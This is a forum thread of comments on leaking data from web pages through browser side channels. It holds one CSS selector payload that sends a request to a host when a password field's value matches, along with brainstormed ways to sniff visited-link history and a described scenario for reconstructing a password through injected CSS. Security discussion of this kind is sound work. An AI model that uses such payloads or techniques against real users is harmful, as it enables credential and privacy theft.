News for hackers. Stuff that matters.
Re:Leaking silhouettes of cross-origin images by antiman0 on Tuesday January 12, 2021 @12:58PM (#25750619)
There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors:

    input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }
How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.
Re:Leaking silhouettes of cross-origin images by bennettfeely on Tuesday January 12, 2021 @01:46PM (#25751472)
This doesn't actually work, the value attribute of the input doesn't change as a user types something.

With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal.

Possibilities might be with mix-blend-mode, @property, or applying "slow" css properties like a blurry text-shadow dozens of times. I've played around with this a little but haven't found a crack yet.

Re:Leaking silhouettes of cross-origin images by kuschku on Tuesday January 12, 2021 @02:04PM (#25751729)
How about an extremely slow to render zalgo text, switching between opacity 0 and 1 depending on visited?
Re:Leaking silhouettes of cross-origin images by mlaux on Tuesday January 12, 2021 @10:52PM (#25757826)
Nice idea. I just tried it - looks like alpha is ignored for colors specified in ::visited and the alpha of the non-visited color is always used.
Re:Leaking silhouettes of cross-origin images by kuschku on Wednesday January 13, 2021 @05:57AM (#25760502)
well then, use white-on-white vs black-on-white, with subpixel rendering enabled and zalgo text this should still have a measurable performance impact
Re:Leaking silhouettes of cross-origin images by capitainenemo on Tuesday January 12, 2021 @02:10PM (#25751844)
It would work however on a password change form though which might write out on page load to a password input for comparison: [old] [new] [retype new] Sometimes old is prefilled with [****] for trivial JS overlap checks.
Re:Leaking silhouettes of cross-origin images by zenexer on Tuesday January 12, 2021 @02:21PM (#25752030)
I’m confused. Are you saying a website might actually spit out your current password or what you had just entered when attempting to change it? The former should never, ever be the case; the latter shouldn’t be the case, although it does happen from time to time.
Re:Leaking silhouettes of cross-origin images by capitainenemo on Tuesday January 12, 2021 @02:33PM (#25752208)
Attack scenario would be a website loading CSS that is controllable by someone malicious. This could be due to ad code or custom themes for part of the site. That CSS would include selectors that would trigger different remote image requests for different partial matches on the value of the input. Based upon what remote URLs were triggered, one could reconstruct all or part of a password.

But I get your point. The website should not know the plaintext of your password for an overlap check unless their security practices are really bad. And if they are that bad, hopefully it is a throwaway password anyway. A duplicate check could still be done with hashes, but partial hash leaks are NBD.

Personally, I've had this happen though on password change prompts, which makes me think that the website is storing the value I just entered temporarily in the session. That's still bad even if it isn't being persisted beyond that page post though.

Re:Leaking silhouettes of cross-origin images by pmontra on Wednesday January 13, 2021 @02:01AM (#25759084)
They could store the hashes of all the prefixes of the password and send them to the client. It's almost as bad as sending the password, because it's easy to brute force the cleartext.
Re:Leaking silhouettes of cross-origin images by svnpenn on Wednesday January 13, 2021 @01:01AM (#25758742)
Please don't be evil. I use the visited feature every single day, and I would be pissed if browsers had to disable it because some jagoff hacked it.
Re:Leaking silhouettes of cross-origin images by gruez on Tuesday January 12, 2021 @02:36PM (#25752250)
Isn't this only an issue on sites that allow custom css? There aren't many of these sites around (the only one I know of is reddit). In most cases if you're in a position to tamper with the css you can also tamper with the js directly.
Re:Leaking silhouettes of cross-origin images by djxfade on Tuesday January 12, 2021 @04:10PM (#25753730)
Many sites serves CSS from third party CDNs. They could get compromised